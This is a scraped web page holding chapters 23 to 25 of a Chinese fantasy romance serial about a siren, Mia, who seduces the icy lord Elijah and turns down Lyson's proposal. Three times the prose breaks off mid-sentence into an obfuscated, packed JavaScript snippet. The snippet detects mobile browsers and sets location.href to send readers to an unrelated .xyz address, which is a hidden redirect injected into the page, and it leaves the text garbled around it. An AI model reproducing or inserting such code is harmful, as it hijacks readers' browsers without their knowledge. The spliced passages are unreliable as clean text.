米娅以前理解不了,毕竟她才是真正的“怪物”,但当她面对以利亚的时候,一些奇怪的念头冒了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885009|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的冷,好像并不是因为性格孤傲冷漠,而是来自于身体最深处的,出于本源的冰冷。 人类是需要温度的动物,他还是人类吗? 察觉到米娅再次走神,不满染上男人的眉梢。 他在最后关头停了下来,带着手套的手向上移动,触碰到米娅的脸。 隔着手套,依然能感觉到寒气在脸上蔓延。 似乎是她的错觉,这寒气正在慢慢转变,随着他们纠缠的呼吸,慢慢带上了一点儿温度。 就像漫长的黑暗中忽然照进了一束阳光。 让人忍不住想要靠近。 只是他们的距离已经够近了,再近就—— 从她上岛的目的来看,这是个好的进展,可是事已至此,她忽然发现,她的心底仍在抗拒。 为什么? 难道真被尤妮说中了,她还想着那个人。 难堪的情绪忽然从心底蒸腾而起,不行,她不能容忍,她怎么能为了一个离她而去的人而放弃大好的机会。 于是,看着近在咫尺的俊美面容,米娅踮起脚尖,吻了上去。 男人似乎很诧异,瞳孔骤然放大。 事实上,在米娅动作的前一刻,他已经打算放开她了,纵然面前的女人能带给他一些许久未曾有的体验,但那无异于饮鸩止渴。 不是解药,而是毒药。 他应该抽身离去,然后慢慢淡忘掉这些感觉,维持前几天的做法,他们不见面才是最好的,对谁都好。 理智占据上风的那一瞬,女人柔软的唇压了上来,对他来说有些滚烫的温度从唇上传递过来,仿佛融化冰山的火焰,逼退了理智。 欲擒故纵的道理,米娅很早就明白了。 她很快退开,这只是一个蜻蜓点水一般的亲吻。 她有点儿难过,却不知道这情绪从何而来。 可是男人显然不会纵容她的肆意妄为,就在柔唇离开的时候,男人的另一只手箍住了她的腰,将她带到自己怀中,挤去了两人之间最后一点儿距离。 主动的人换了一个。 他的吻跟他的人很像,激烈又克制,火热又冰冷,将他内心的矛盾体现得淋漓尽致。 脸颊上的手早就移到了脑后,插入她卷曲的发间,扣住她的后脑勺让她不得动弹,只能被动承受如狂风骤雨般的亲吻。 没一会儿,唇上就传来了麻木的感觉,米娅猜测,她的嘴唇现在一定是肿的,因为他实在是太用力了,用力到有种要将她吃掉的错觉。 她的呼吸都有些不畅,不禁往后缩了缩。 男人不满地觑着她,手上一点儿也不放松,不允许她退缩。 可是就算如此,他似乎也从没想过要更进一步。 亲吻只在她的唇上,没有继续向里探索,就连腰上的那只手,也只是放在原来的位置,没有爱抚,更像是在固定她的位置。 米娅疑惑不解,听说他这么多年既没有结婚也没有情人,外面都传他是性冷淡了,看这情况,该不会是真的吧? 不太对,如果真的是这样,他又为什么要吻自己呢? 米娅仔细感受着男人的动作,忽然发现,他的动作真的没有太多欲望的成分,更像是在,确认着什么? 一种奇怪的感觉蔓延过她的四肢。 他的亲吻正在慢慢减弱,就像他的心跳一样,趋于平缓。 当以利亚放开米娅的时候,两个人的呼吸就像他们的头发一样,都有些凌乱。 米娅睁着迷蒙的双眸,愕然看着他,她以为他会继续下去,但他竟然停了下来。 与此同时,以利亚也看着她,水润的双眸染上情潮,脸颊微微泛着红,将虚弱与苍白掩盖,那双红唇有一点点肿。 就像盛放到极致的蔷薇,娇艳欲滴,诱人不顾荆棘的阻拦采撷占有。 是涂了艳丽的唇脂,还是她本来的唇色。 忍不住想探究,去证实。 隔着手套的指尖按在盛放的花瓣一样饱满滋润的唇上,在丰盈的唇珠上来回摩擦。 米娅没有阻止,任由他肆意地蹂躏着红唇。 直到红唇更红,仿佛要滴下血来。 果然是本来的唇色。 23. 暗流(五) “莱森大人,您去那边做什么?” 卡伦焦急的声音打破了走廊上的暧昧气氛,黑色短发青年挺拔的身姿在花叶之间若隐若现,他环顾着四周,似乎在寻找什么,眼看就要瞧见这边的两人。 呼吸已经平缓,凌乱的发梢也被抚平,这个时候被他瞧见,其实并不会引起什么误会。 但以利亚还是拉着米娅躲到了廊柱后面,避开了莱森的视线。 莱森口中嘟囔着“人呢”,渐渐靠近了廊柱。 只要他稍微再往旁边走几步,就能看见廊柱后的两人,现在的姿势,可比刚才暧昧多了。 米娅实在不明白以利亚这是怎么个意思,但这种时候,她还是扮演一个因为突然的亲密接触而羞怯的女人为好。 又是两个不同的脚步声。 “莱森大人,您找领主大人有什么重要的事情吗?” 实在没看见人,莱森泄气地垂着头。 他放心不下米娅单独面对以利亚,心不在焉地和乌斯聊了两句,就告辞来找他们,哪里想到人没找到不说,卡伦和乌斯竟然都跟了过来。 那他当然不能说实话了,“算了,也不是很重要的事,我还是改天再说吧,乌斯,抱歉,怠慢了你。” 乌斯微笑颔首,“您客气了。” 他平静的视线扫过长长的回廊,拿书的手心微微发烫,他正在用神力探查这里的力量波动,教会的神官会得到正义之神的赐福,可以使用极少量的神力。 虽然这么点微弱的神力不足以作为强大的武器,但探查一下此地的神力波动却足以。 他“看”到了,刚才,曾经有一个拥有强大神力的人曾在此停留。 在赛欧庄园乃至整个赫尔西岛,能有如此强大神力的,只有一人。 乌斯瞳孔微缩,神力凝成的无形触角向廊柱之后探去。 触角触碰到了一团冰冷的火焰,发出无声的尖啸,急速缩回来,火焰灼烧出的刺痛一直传回了他的眼睛里。 尖锐的痛感像冰锥刺进眼底,乌斯猛地闭上双眼,脸色变得惨白如纸,刺痛由眼底扩散开,就像一条条吐信的小蛇,从眼底游弋至全身各处。 冷汗从鬓角流下,乌斯用尽全身的力气,才勉强维持着站立的姿势。 莱森和卡伦在说着什么,他已经听不进去,整个人仿佛浸泡在刺骨的冰水里,每一个毛孔都被无数根针刺扎。 “乌斯神官,请随我往这边走。” 是卡伦的声音,突然就钻进了耳朵里。 与此同时,刺骨的寒意与疼痛也如潮水一般褪去,红衣神官睁开双眼,莱森和卡伦已经走出了长廊,站在来时的道路上,回首等待着他。 红衣神官勉强挤出一个笑容,残留的痛觉随着嘴角肌肉的牵动而被唤醒,“抱歉,一路上旅途劳顿,我有些疲惫,可能需要休整半日。” 他看向卡伦,卡伦不明就里地皱了皱眉,忽然恍然大悟,“神官说的是,是我们疏忽了,莱森大人,这里就交给我吧,您不是还要去忙吗?” 说罢,三言两语劝走了一头雾水的莱森。 他嘴上说着马上安排,却站在原地一动不动,直到莱森的身影彻底消失在花园之中,才缓缓走到红衣神官身侧,对着从廊柱之后走出来的修长身影弯腰行礼道:“领主大人。” 然后退到了旁边,趁着另外两人没空理会他,好奇的视线往廊柱后面一瞧,和米娅的视线撞了个正着。 卡伦只看了一眼就低下头去。 女人双眸水润含情,脸颊仿佛醉酒一般映着红晕。 他无声地叹息了一声。 两人之间发生了什么,只要不是个傻子和瞎子,看到她的模样,都能猜得到了。 他担忧的事情还是成了真。 米娅靠着廊柱站着,当卡伦低头沉思之际,她也在注视着他。 为了能够接近以利亚·赫尔西,在她的计划开始实施之前,她曾经通过各种方式了解有关以利亚的一切。 只是效果微乎其微。 他太过神秘,实在不像一个人类领主。 但可以确定的是,卡伦和黑骑士休伊是他最信任的人。 所以那天在客房中,冷漠的以利亚面对卡伦的疑惑非但没有生气,反而说出了内心真实的想法。 那卡伦,一定知道有关他的秘密吧。 不知道能不能从卡伦着手,米娅认真思考了片刻。 这样的念头一闪而过,很快又被米娅否决掉,卡伦的狡诈众所周知,还是不要冒险。 在该谨慎的时候,她一向很谨慎。 “以利亚大人这是什么意思?” 乌斯的声音将米娅的注意力拉回了另外两人身上,廊柱将她的视线挡的严严实实,什么也看不见,但她似乎可以想象两人针锋相对的模样。 “这次只是警告,再在赛欧庄园里使用‘神目’,我不介意废了你的眼睛。” 冷冽似冰的话语仿佛要将天地都冻住,说完这话,面无表情的领主转身离去,一点儿也不关心被威胁之人的反应。 一如既往的傲慢。 红衣神官终于维持不住故作的从容,面色比暴风雨来临前的天空还要阴沉,眉毛紧紧蹙起。 “乌斯神官……” 该自己出来装个好人了,卡伦心想。 只是话才说了一半,红衣神官竟然直接一个箭步冲上前去,绕到了廊柱后面。 卡伦心里一沉,糟了,这可不能被他看见。 他和莱森关系密切,他要是知道了,一定会告诉莱森。 卡伦连忙也走上前去,脑中已经迅速想好了几套不同的说辞。 正纠结着用哪一套比较好,他却错愕地发现,廊柱之后空无一人。 人呢? 米娅又不会瞬移,刚才也没见有人离开,周围更没有躲避的地方,她怎么就凭空消失了? 卡伦眼珠急转,好像明白了什么,脸上又挂起狡黠的笑,“乌斯神官,你这是怎么了,这根柱子有什么问题吗?” 怎么回事?此时乌斯的心中也充满疑惑,他可以确信,廊柱后面还有另一个人,他甚至可以确定,就是刚才那个女人,可是为什么现在一个人也没有—— 难道他的感觉错了? 不,他没感觉错,他嗅到了一缕香气,残留在空气中,不是花园中的花香。 能够神不知鬼不觉从他眼皮子带走一个人的,也不做他想,赫尔西岛上只有以利亚能够做到。 他们俩果然关系不一般。 想到莱森欣喜又忐忑的表情,乌斯彻底黑了脸。 当乌斯发现她并朝她走过来的时候,米娅甚至已经听到了他的衣袖与空气摩擦的声音,她扬起了一个妩媚的笑容,准备迎接来自红衣神官的莫名怒火。 然而下一瞬,笑容变为错愕,她就像一只从海面坠落的飞鸟,跌入柔软的海水之中。 大概也只有她们这些海妖,才会形容海水是柔软的吧,米娅不合时宜地想,毕竟她们是海神的造物。 她又走神了。 最近她好像总是在走神,是受这脆弱的人类身躯影响吗? 事实上,她并没有跌入海水中,而是陷进了软得一塌糊涂的被子里,熟悉的触感,是她自己的房间,准确来说是古堡中的客房。 而将她丢进去的人,正站在床边,居高临下欣赏着她的窘迫。 米娅扯了扯嘴角,抽出垫在脑后的枕头朝他扔了过去,他没有伸手去挡,于是米娅看着枕头即将砸到他的脸上,懊恼一闪而过之时,枕头忽然停在了半空中。 然后在下一秒,回到了原本的地方。 米娅眨了眨眼睛,一切发生得太快了,她一直看着他,只看见他始终站在原地的身影,一点儿没看见他有别的动作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890938|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像那个清晨他忽然出现在甲板上,就像刚才他瞬间将她带回了房间里一样。 难道他的能力是瞬移? 米娅忍不住想,但是自己都不相信,会有这么简单吗,这种能力可是很难被称为最强大的渡水者的。 男人转身要走,米娅赶紧坐起来,抓住他的手,“等等。” 男人停了下来,缓缓转身,冰冷的视线先是落到了他们交握的双手上,然后沿着女人细长的手臂向上,将她紧张又羞涩的表情映入眼帘。 他怎么不说话? 米娅心里直犯嘀咕,这人的目光总给她一种洞悉一切的感觉,在他面前伪装怀春少女,耗费了她大部分的心神,甚至无法去细想他前后的变化。 明明刚才他们还在廊柱后面亲吻,男人亦是主动的一方,为何现在他能走得毫无波澜,好像两人只是陌生人? 米娅定了定神,“大人为何要走,是讨厌我吗?” “如果我说是呢?” 红唇微张,惊讶爬上她的眼尾,半晌,她委屈地低下头,“请告诉我,我做错了什么惹得您讨厌了?” 声音低落,令人怜惜。 以利亚心里清楚,那只是她的伪装,但他还是鬼使神差地坐到了床边,“希望我留下来?” 不知是有意还是无意,他没有回答她的问题,而是用另一个问题转移了话题。 他们现在平视着对方,以利亚上半身略微前倾,俊美冰冷的脸与米娅仅有一个手掌的距离,他能清楚地看见长睫的阴影投在她深蓝色的瞳孔中。 像蝴蝶一样微微颤动。 她的心并不平静,至少没有表面上看上去那么平静,以利亚从她的眼眸中捕捉到了一丝连她自己都没察觉到的抗拒。 在抗拒之外,是她羞涩的模样,她点了点头。 以利亚反手握住她的一只手腕,将那纤弱的胳膊抬起,压到柔软的被子里,与此同时,他的身躯也覆了上去。 哐铛一声闷响,是木盆掉在地上的声音,米娅看过去,女仆惊讶地捂住了嘴,看着床上的两人,连掉在地上的东西都忘了捡。 “出去。”男人冷冷道。 女仆连忙说“是”,低着头再不敢多看一眼,急匆匆从房间中退出去,并且贴心地将门关好,然后背对着门,终于露出了一个大大的惊讶的表情。 她好像看到了什么不得了的秘密。 那头耀眼的银发,那个好听的声音,没错,就是领主大人。 领主大人和米娅夫人,他们居然真的……? 她早该想到的,若非如此,几天前也就不会有领主大人抱着米娅夫人走进来的那一幕。 说是因为米娅夫人受伤了,可要是换一个人,就算她马上要死了,领主大人也不会亲自抱她过来。 不过,这两位,仅从外表上来看,的确很相配呢。 就是可惜了莱森大人的一片真心。 外面女仆脑子里各种想法就像要爆炸了一样,屋里米娅心里也十分吃惊。 被看见了。 米娅瞥向男人好看的眉眼,不明白为什么这次他没有避开。 这会儿以利亚看起来又变得丝毫不在意被别人瞧见了,他的手臂撑在米娅的耳朵旁边,俯身慢慢将冰冷的唇贴近她的脸颊。 米娅以为他会吻下来,但他只是转头在她耳边低言。 “收起你的谎言和算计,我不是凯勒,不吃这一套。” 说这话时,米娅一直盯着他,自然不会错过他唇边那抹笑。 一抹很浅的笑,似乎能够稍微弯一下嘴角已经是莫大的恩赐,看得人心头邪火直冒,尤其是当她分辨出潜藏在这笑容之下的自信与傲慢之后。 如果没有长廊那一吻,米娅说不定真被他唬住了。 米娅也笑了,她勾起长腿,往他腰间蹭去,眼神无辜又天真,“您和凯勒当然不一样。” 24. 暗流(六) 银发领主勾住她的腿窝,阻止了她更大胆的动作。 “你还真是……”他眼神幽暗,看着她纯洁无辜的表情,脑海中某根紧绷的弦突然断掉了。 他俯身,低头吻在她的脖子上。 他的吻带着从未有过的温度,又湿又热,就像吸血鬼寻得了美味的猎物一样,逐渐失控沉沦。 带着手套的手解开了纽扣和拉链,沿着曼妙身姿的每一处起伏游走,手套上刺绣的凸起与娇嫩的皮肤相触,激起阵阵战栗。 米娅的视线落在昏暗的天花板上,嘴角溢出轻吟。 男人的身躯压在她身上,像藤蔓一样越缠越紧。 她离成功又近了一步。 心里却没有多少开心。 事到临头,难道反悔了吗? 她恨自己的犹豫。 她屈服于自己的犹豫。 她用尽全力推开了他。 男人退到床边,愕然盯着她。 她做了正确的决定,米娅安慰自己,她学习过很多人类社会的知识,见过许多始乱终弃的例子。 男人喜新厌旧,太快让他得到,容易让他失去兴趣,她没有做错。 不知从哪儿来的风吹过裸露在外的肌肤,引起阵阵颤栗。 她扯过被子盖在身上,遮住外泄的春光,也挡住了寒风的侵袭。 该说些什么吗? 至少也要解释两句,不要引起他的怀疑吧。 米娅张了张嘴,却发现自己喉咙发紧,一个字也说不出来。 不太对劲。 就算她的冲动战胜了理智,也不过是推开了那个人而已,不至于惊慌到连话都说不出来吧。 以利亚也发现了她的异样。 他再度靠近,不带任何暧昧的色彩,看向她的脖子。 比雪还要白的脖子上,有红色的痕迹。 那是他的杰作。 视线再向下,是披散在枕头上的长发,几缕凌乱的发丝贴着雪白的肌肤上,像向阳生长的荆棘,刺破晦暗的阴影,向着娇艳的脸颊爬去。 冰冷的手指拂上去,还没触碰到,黑色的发丝就像含羞草一样缩了回去。 哪个人类的头发还能有自主意识的? 以利亚眼神一冷,将她从床上拽起来,按进自己怀里,下巴抵在她的头顶。 一垂眸,就是她如海藻般卷曲蓬松的长发。 他把手放在她的后颈,沿着颈椎来回搜寻,于发丝之间发现了不寻常的温度,然后用力一扯,扯下来一根细长的头发。 “嘶……”米娅倒吸一口凉气。 气恼的眼神刚瞥过去,就看见以利亚的掌心燃起了火焰。 那根发丝在火焰中的炙烤下,化作灰色的雾气,飘散于空气中。 又是灰雾。 “这到底是什么?”她发现自己又能说话了。 “你不知道?” 火焰仍在燃烧,以利亚的手掌靠近了她的头发。 米娅连忙抱着头发后撤,她可不像自己的头发变成一堆烧焦的枯草。 她很委屈,“我怎么会知道?” 上次问他他不肯说,莱森也不知道,卡伦和黑骑士一个比一个嘴严,她又不能回奥修斯岛翻阅典籍。 而且这都多少天了,这灰雾没再出现过,她都快忘了还有这一茬了,哪里想得到自己头发里居然藏了一缕。 以利亚深深地看着她,似乎在判断她是否在说谎。 米娅无畏地与他对视。 巧了,这次她说的实话。 “混沌,知道吗?” 以利亚平静地问道,视线略微下移,又不动声色地挪开。 米娅摇了摇头,又点了点头,又摇了摇头。 以利亚皱眉,“到底知不知道?” “我不确定我知道的和你说的是不是同样的东西。”米娅尴尬地笑了,“我知道的混沌,是创世之前世界的状态。” 真相是,她下意识觉得自己应该避开这些话题,所以摇了摇头,可是又觉得这好像应该是常识,装不知道也不行,于是又点了点头。 但这样就更可疑了,干脆又摇了摇头。 “差不多吧,这个灰雾,是曾经存在于混沌中的某种凶兽的触角。”以利亚站起身,扣上领口的扣子,古怪地看了她一眼,“你刚才被它操控了。” 说完,他就消失了。 “……?” 米娅刚想抓住他,手伸到一半,人就不见了。 走得这么快,这个灰雾看来还挺困扰他的。 她又摸了摸后颈,毫无异常。 被它操控了? 她只承认最后突然说不出话来是因为它,前面的蓄意勾引和翻脸可是全凭她自己的意志。 好处是,她不用挖空心思解释为什么自己要推开他了。 “混沌中的凶兽么……” 米娅将散开的衣服一拢,遮住胸前的春光,低声喃喃着,不解逐渐涌上心头。 万年前世界诞生以来,无序的混沌被创世神以有序的规则代替,怎么还会有混沌的凶兽存在呢? 而且这个凶兽还袭击了他们。 虽说这个世界危险重重,但是来自远古混沌的危险她还是头一次听说。 *** 被人看见后,米娅和以利亚的八卦迅速在赛欧庄园中流传开。 有趣的是,人们在热烈讨论的同时,不约而同地在莱森面前装作什么也没发生的样子,以至于直到卡伦出手,以雷霆手段彻底禁止了流言向外扩散之时,莱森犹自懵然不知。 不过就算知道了,他大概也会像上次那样,以为只是谣言罢了。 如今的他,没有空闲理会流言蜚语。 另一封来自帝都的书信,飞跃海洋上空,打乱了他的所有计划。 这是一封来自雅克亲王的亲笔信。 雅克亲王作为女皇陛下的亲叔叔,第一任妻子缇雅·赫尔西难产而亡,留下两个孩子,莱森和罗尔,莱森被送到赫尔西岛继承领主之位,罗尔则作为亲王爵位的继承人留在身边。 后来罗尔意外身亡,他娶了第二任妻子,布里斯帝国南方某位贵族之女,两人却一直未曾生育。 雅克亲王并非渡水者,如今已过五十,按照普通人类的寿命来说,即将步入晚年,加之他的身体一直虚弱,因此在这一封信上,他透露出了有意让莱森继承他的爵位的想法。 这只是一封私人信件,用的更是商量的语气,但因为写信人是自己的生身父亲,依然让莱森感到了困扰。 继承爵位非他所愿,经历了多年前的变故之后,他早已对政治斗争感到厌烦,然而父亲在信中以平实却令人心酸的笔触,描述了如今的困境,他亦做不到无动于衷。 在这件事上的纠结暂且不提,信中还提到了另一件事,更是动摇他的心神。 一向关系不佳的萨穆帝国有意与布里斯帝国交好,萨穆帝国的皇帝遣使而来,提出了两国维持关系最常用的手段——联姻。 萨穆帝国的二公主倍受宠爱,以至于耽搁了成婚年纪,如今希望在布里斯帝国寻得一位丈夫。 他们的目标,其实是以利亚,但女皇陛下怎么能容忍以利亚的势力再有萨穆帝国相助,断然拒绝了这一提议。 多次商讨之后,竟将目光投向了莱森。 他和萨穆帝国的二公主年纪相仿,既是皇室成员,又是赫尔西家族后代,也只有这样的人选,才能让两边都满意。 可是莱森很不满意。 联姻似乎是贵族的宿命,曾经的莱森并不排斥,认为与谁成婚差别都不大。 现在的他已经有了喜欢的人,甚至还计划着向那人求婚,怎么还能接受这一安排。 可是他也知道,如果自己贸然拒绝此事,就像乌斯担忧的那样,皇室那边一定会想方设法查出原因,一旦米娅进入他们的视线,为了促成联姻,他们会做出什么事情,他也不敢保证。 为今之计,只有一个人能帮他。 莱森打定了主意,终于走入了他一直不肯迈进去的赫特高塔。 与此同时,米娅在衣架前挑选礼服。 指尖划过一件件繁复华丽礼服肩头的装饰,米娅的视线未作任何停留。 风灵节当晚,赛欧庄园中将举行盛大的宴会。 每一年如此,但今年格外不同。 往年的宴会,领主以利亚从不参加,但今年,他已经明确了会出席。 这场宴会上来往的人类非富即贵,以米娅现在的身份,本来不该受到邀请,但谁让她现在就住在古堡之中,既是莱森·赫尔西的救命恩人,又和赫尔西岛的领主有着令人遐想的传闻。 外面有很多人早就想看看她究竟长什么样子,竟能同时迷倒赫尔西家族的两个人。 她要是不出现,可是会有很多人失望的。 “米娅夫人,这件怎么样?听说白色是领主大人最喜欢的颜色。” 一件白色上衣淡金色下裙的礼服长裙从一排华丽的衣装中被挑了出来,素色的上衣不算惹眼,领口镶嵌的宝石也只能说平庸。 但再仔细一看,从v字形的衣领最低处往下,细碎的钻石如同繁星点缀其间,自然地过渡到淡金色的下裙。 圣洁又梦幻。 米娅垂眸,这件礼服叫她想起了那个在脑海中一闪而过的画面,棕榈树、白金相间的长袍,还有优雅的背影。 时至今日,那画面越来越模糊不清,她依然没有想明白,这从来不存在于记忆中的画面从何而来。 “我试试这件。”米娅心不在焉。 低调却美丽的礼服,很适合她客人的身份,只是总觉得还不够,低调不是她如今的目标,如果能有画面中长袍的材质,想必会更加惊艳。 但也没有更好的选择了。 女仆小心翼翼地将礼服从衣架上取下来,正要为她换上,门口传来了敲门声,她只好暂且将礼服平铺在床上,走过去打开门。 “莱森大人!”先是惊喜,忽然想到什么,神情又变得尴尬,女仆赶紧回头,看向米娅。 莱森的脸上是显而易见的慌张,他好像有话要说,但又迟迟不敢开口,俊秀的脸上也掠过一丝羞涩,“我能跟你单独说句话吗?” “去花园说吧。” 他们在众目睽睽之下走了出去,漫步在长满蔷薇花的小径上,始终保持着一定的距离。 从外人看来,的确就像一对相约一起散步的朋友。 没人敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895679|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近听他们在说什么,但无数双眼睛都盯着他们,似乎想找出哪怕一分一毫不寻常的线索。 粉白色的蔷薇花热烈盛开,听闻是为了庆祝风灵节的到来,特意让其提前开放。 莱森一直沉默着,心跳声却像无数张鼓一齐敲击,响得让人无法忽视。 米娅猜到他要说什么了。 在她的意料之外,以她对他的了解,不应该是现在。 花园的尽头,高大的红砖围墙之下爬满长着荆棘的藤蔓,从墙内爬到墙外,红与绿交织,青苔在墙角肆意生长。 米娅回头望了一眼,巍峨的高塔在围墙的另一头,相隔太远,看着也小了许多,原本让人喘不过气来的压迫感几乎消失。 这里是庄园中离高塔最远的地方。 莱森停下,顺着她的目光一起看向了高塔的方向。 “我刚从那边过来。” “我听说,你不愿意去那里……” 赫特高塔存在的时间比赛欧庄园还要久远,据说赫尔西家族就在那里诞生,高塔之中藏匿着许多赫尔西家族不为人知的秘密。 米娅听到好些人说过,莱森一点儿都不像赫尔西家族的人,因为孤傲冷漠,神秘莫测是赫尔西家族一贯给世人的印象。 “进去了之后才发现,那也就是一座普通的高塔,可能是因为存在的时间太久远,才让人感到害怕吧。”没想到米娅也听说了这件事,莱森感到不好意思,连忙为自己辩解道,说完又轻咳两声,将对话拉回他的真实意图里,“其实我会去那里,是去找领主大人,请求他的帮助。” “帮助?” “是的,米娅,有一件事,我早就应该告诉你了,原谅我的怯懦,我……”莱森闭上眼睛,感受着心脏的狂跳,已经到了不得不坦白的时候了,“我喜欢你,从第一次见到你的那一天开始。” 终于说出来了,藏在内心想说又不敢说的话。 然而到了这一刻,青年没有感到放松,他既紧张又期待,等待着面前的人的反应。 可是等了很久,却什么也没等到,他忍不住睁开眼睛,只见自己心心念念的人站在面前,安静地看着他,始终带着或是妩媚或是温柔的笑容的脸上,难得没有笑。 她紧紧抿着唇,为难地看着他。 米娅终于说话了,“谢谢你,其实我早就知道了。” 莱森心里一沉。 她又说:“是他让你来告诉我的吗,为什么是现在?” 他是指谁,两人都心知肚明,莱森此刻还没有意识到米娅语气的古怪,他沉浸在她有些悲伤的眼眸中,隐约意识到,事情正在往他不愿意看到的方向发展。 他几乎是出于本能回答她:“我的父亲希望我娶萨穆帝国的公主,我不愿意,只能找他商量,米娅,我想娶的人是你——他说他可以帮我,前提是,你愿意嫁给我。” 说完之后,他才忽然意识到,这句话,已经等同于求婚了。 但是一点儿也不浪漫,更没有盛大的场面,与他想象中的场景相去甚远。 后悔几乎将青年淹没,不该是这样的,他低垂着头,为自己的冲动懊恼不已。 “抱歉。”女人的道歉来的很快,一瞬间充斥了他的大脑,“我不值得你付出这么多,我也不愿意嫁给你。” 莱森大脑一片空白。 怎么会这样? 的确该是这样的结果。 两种截然相反的想法在他的脑海中拉扯,将他的心一分为二,他不明白,明明他们之间每一次见面都是那么的融洽,他有时甚至觉得她就是世界上最懂自己的那个人,为什么她不愿意。 但是他又想,也许这样的关系更适合做朋友,要说恋人,一直都是他一头热,女人对他的态度与别人无异。 她本身就是这样的人,美丽大方,很容易赢得所有人的好感,她也从来没有流露出过对自己的特殊来。 “为什么?” 焦急地疑问脱口而出,是他的本能先于理智作出的抗争,他还想再争取,他想,她会不会有什么难言的苦衷? 米娅又抿了一下唇,她利用了他,如今又要伤害他,即使他的姓氏是赫尔西,也让她产生了于心不忍的情绪。 莱森是个单纯的好人,如果是在对立尚未发生之前,也许她会喜欢他也不一定。 可是现在么…… 米娅看着他,眸光真挚,“莱森,我不愿意骗你,我的心里还有别人,我……” 话未说完,莱森就像早就准备好了接下来的说辞一样,握住她的肩膀,激动道:“我知道,你还放不下死去的丈夫,没关系,我可以等你忘了他,不——不忘也可以,只要,只要你的心里有我的一席之地——” 太过卑微的语气,米娅听不下去了,事到如今,伤害怎么都避免不了,只有采用最决然的拒绝方式,才能让他及早脱身。 她说出了真相,“不是的,不是他,是领主大人。” 一部分真相,足以令莱森脸色苍白,不管有再多的话,都说不出来了。 他跌跌撞撞地离开了,米娅看着他落寞的背影消失在道路尽头,难言的情绪涌上心头。 深蓝色的眼眸看向高塔,塔尖的阁楼上,黑色玻璃后面仿佛有个人影。 25. 暗流(七) 回到房间,女仆捧着礼服在等她。 米娅思绪纷飞,早没了挑选礼服的心情,但再过几日就是风灵节,一切准备工作已到了尾声,她这个客人的礼服,再不制作就来不及了。 她心不在焉地换上了白金相间的长裙。 落地长身镜中映出了一个优雅美丽的身影。 白色圣洁,衬得她的肤色愈发雪白,仿佛闪着玉一样的温润光泽,淡金色雍容,与繁复夸张的裙摆相得益彰,增添了几分高贵典雅的气质。 “夫人的身材真好,不管什么衣服穿在您的身上,都会变得十分美丽呢。” 裁缝是个六十多岁的老妇人,面容和蔼可亲,眼睛却精明锐利,不像是老人的眼睛。 她是赫尔西岛上有名的裁缝世家,世代为赫尔西家族制衣,虽然只是裁缝,却颇受古堡中仆人和侍从的尊敬。 米娅漫不经心地点了点头。 “您和领主大人也很般配,我这么大年纪,没见过比你们还漂亮的人呢。”老妇人还在絮絮叨叨地说着,她说起话来没有什么顾忌,那些奴仆们不敢在米娅面前提及的话题,她都能自然地说出来。 米娅也没在意,她说的是实话。 而后,老妇人又从去年的宴会,说到了从前赫尔西岛上大大小小的宴会,那些回不去的热闹时光,以及许多已经离开了的人。 米娅心烦意乱,觑了好几眼,看见老人眼中的怀念,没忍心打断她,心里却忍不住想,莫非年纪一大,不管是人还是海妖,都会变得多话起来? 她想起了前任海妖祭司,活了太久太久,也成了个唠唠叨叨的老太太。 自己老了之后,也会变成这样吗? 米娅想象了一下。 真奇怪,这样的念头刚冒出来,眼前就已经迫不及待地浮现了这样的画面,白发的海妖坐在生命之树下,羽翼舒展开,光泽不如往昔。 脸上长满了皱纹,可是每一条皱纹都恰到好处,让她曾经艳丽的面容依然美丽,只是多了一些年轻时很难看到的和蔼与淡然。 米娅不由得失笑。 在海妖的眼中,同族的样貌是没有美丑之分的,她不过是刚好更符合人类的审美。 但为了刺杀人类,她学习了太多人类有关的知识,审美也悄然被影响,连想象自己老了的样子,都一定要想象成人类眼中好看的模样。 “真好看。”老妇人看见她的笑容,由衷地赞叹,“如果我是个男人,也一定会为夫人您神魂颠倒。” 卷尺被收起,老妇人的工作也接近了尾声。 “就这件吧。”米娅做出了决定,她现在也没有心情再接着挑选了,正如老妇人所说,反正她穿什么都好看,还有选的必要吗。 她的指尖已经碰到了礼服侧边的拉链,正要将其换下来,周围忽然安静了下来,寒意来袭,不用转身,她都知道是谁到了。 身后传来了几道截然不同的脚步声,不过都不是来者的,他向来无声无息,那是女仆和裁缝离开的声音。 然后是——关门声。 米娅没有回头,一只冰冷的手放在了她的后背上,在那里,礼服颇有心机地做了一个镂空的设计,从外表看不出什么,但是当男人的手放上来的时候,就会发现,从这里能摸到一片滑腻的肌肤。 销魂蚀骨,也不过如此。 触碰只有一瞬,米娅向前半步,躲开了他的手,然后转身看向他。 他居然没带手套,她倒要看看,他的手究竟有什么特别的,值得他天天带着手套。 